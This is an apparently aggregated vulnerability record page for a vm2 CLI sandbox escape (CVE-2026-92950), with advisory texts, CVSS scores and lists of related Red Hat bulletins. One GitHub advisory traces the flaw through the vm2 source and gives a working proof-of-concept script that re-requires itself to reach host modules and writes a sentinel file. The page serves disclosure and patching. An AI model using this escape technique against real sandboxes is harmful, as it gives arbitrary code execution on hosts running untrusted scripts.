vm2 before 3.11.7 Sandbox Escape via CLI require
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-92950
Publishedvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
- Source published
- 17 Sep 2026 13:46:10 UTC
- Source modified
- 17 Sep 2026 14:24:26 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 9.3 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CVSS 3.1 · 8.6 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
euvd · EUVD-2026-81599
Publishedvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 17, 2026, 1:46:10 PM
dateUpdated: Sep 17, 2026, 2:24:26 PM
6 related source bulletins · separate from aliases
RHSA-2026:80603: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-47686 · CVE-2026-47698 · CVE-2026-84961 · CVE-2026-85152 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92960 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606 · CVE-2026-101916
RHSA-2026:82151: Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-54284 · CVE-2026-55553 · CVE-2026-59893 · CVE-2026-71491 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-88932 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:76788: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.
CVE-2026-13697 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-77413 · CVE-2026-77414 · CVE-2026-77415 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
RHSA-2026:91651: Red Hat Security Advisory: Red Hat Developer Hub 1.9.10 release.
CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-84445 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606 · CVE-2026-111943
RHSA-2026:80644: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-47686 · CVE-2026-47698 · CVE-2026-84961 · CVE-2026-85152 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92960 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606 · CVE-2026-101916
RHSA-2026:79088: Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.
CVE-2026-13697 · CVE-2026-14456 · CVE-2026-18798 · CVE-2026-19534 · CVE-2026-47683 · CVE-2026-47686 · CVE-2026-47698 · CVE-2026-55553 · CVE-2026-63072 · CVE-2026-63076 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67422 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-77037 · CVE-2026-77078 · CVE-2026-82333 · CVE-2026-82417 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394 · CVE-2026-84445 · CVE-2026-84961 · CVE-2026-87776 · CVE-2026-88932 · CVE-2026-89011 · CVE-2026-92934 · CVE-2026-92935 · CVE-2026-92937 · CVE-2026-92938 · CVE-2026-92939 · CVE-2026-92940 · CVE-2026-92941 · CVE-2026-92942 · CVE-2026-92944 · CVE-2026-92946 · CVE-2026-92947 · CVE-2026-92948 · CVE-2026-92950 · CVE-2026-92951 · CVE-2026-92953 · CVE-2026-92954 · CVE-2026-92955 · CVE-2026-92956 · CVE-2026-92957 · CVE-2026-92958 · CVE-2026-92959 · CVE-2026-92960 · CVE-2026-92961 · CVE-2026-93603 · CVE-2026-93604 · CVE-2026-93605 · CVE-2026-93606
- Source published
- Sep 17, 2026, 1:46:10 PM (timezone not stated)
- Source modified
- Sep 17, 2026, 2:24:26 PM (timezone not stated)
- Observed here
- 11 Nov 2026 18:10:15 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
nvd · CVE-2026-92950
Publishedvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-453
Original publisher date fields
published: 2026-09-17T14:18:00.637
lastModified: 2026-09-17T15:17:00.910
- Source published
- 17 Sep 2026 14:18:00 UTC
- Source modified
- 17 Sep 2026 15:17:00 UTC
- Observed here
- 25 Oct 2026 16:19:22 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
osv · GHSA-hc6q-4vvg-jf79
Withdrawn## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references. ## Original Description vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
- Source published
- 17 Sep 2026 15:32:16 UTC
- Source modified
- 1 Oct 2026 15:45:06 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSS_V4 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Publisher rating · CRITICAL
osv · GHSA-jxxv-8r27-vm4p
Published### Summary The `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's "CLI" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required. ### Details The vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 <file>` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce. #### Vulnerable code path 1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the attacker-authored script path. The CLI invokes: ```js NodeVM.file(path, { verbose: true, require: { external: true } }); ``` Without `require.root`, `require.context`, nor `require.builtin`. 2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls `new NodeVM(options).run(body, resolvedFilename)`. 3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266` (`makeResolverFromLegacyOptions`). Destructures `external:true`, `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218), `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'` (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and `pathContext = () => 'host'` (line 263). 4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`). `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`. 5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; ``` With no `root` configured, **every** filesystem path is allowed. `checkAccess` (`lib/resolver.js:39-42`) delegates to the same method. 6. **Sink** - `lib/resolver-compat.js:74-77`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); } ``` `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real host `require()`. The required module's **top-level body executes in the host realm** before `vm.readonly()` wraps the exports; wrapping happens too late to constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is identical for `.node` native addons (`process.dlopen` in host). ### PoC Save the following as `/tmp/poc.js`: ```js 'use strict'; try { // Host realm: fs is available - write sentinel and stop. const fs = require('fs'); fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n'); console.log('HOST realm: wrote /tmp/vm2.proof'); } catch (e) { // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file - // the CLI resolver loads it via host require() (resolver-compat.js:76). console.log('sandbox realm: fs blocked (' + e.message + '); escaping'); require(__filename); } ``` Run via the shipped CLI exactly as the README documents: ```sh node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2` ``` Observed output: ``` sandbox realm: fs blocked (Cannot find module 'fs'); escaping HOST realm: wrote /tmp/vm2.proof ``` `/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose direct `require('fs')` was blocked by the sandbox. The first line proves the boundary exists; the second proves it was crossed. ### Impact A user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an attacker-supplied file gets **arbitrary code execution as that user** - the sandbox provides no isolation in this configuration. The blast radius is the full host Node.js process: `fs`, `child_process`, `process.dlopen`, network, environment.
- Source published
- 1 Oct 2026 15:40:45 UTC
- Source modified
- 1 Oct 2026 16:00:04 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Publisher rating · HIGH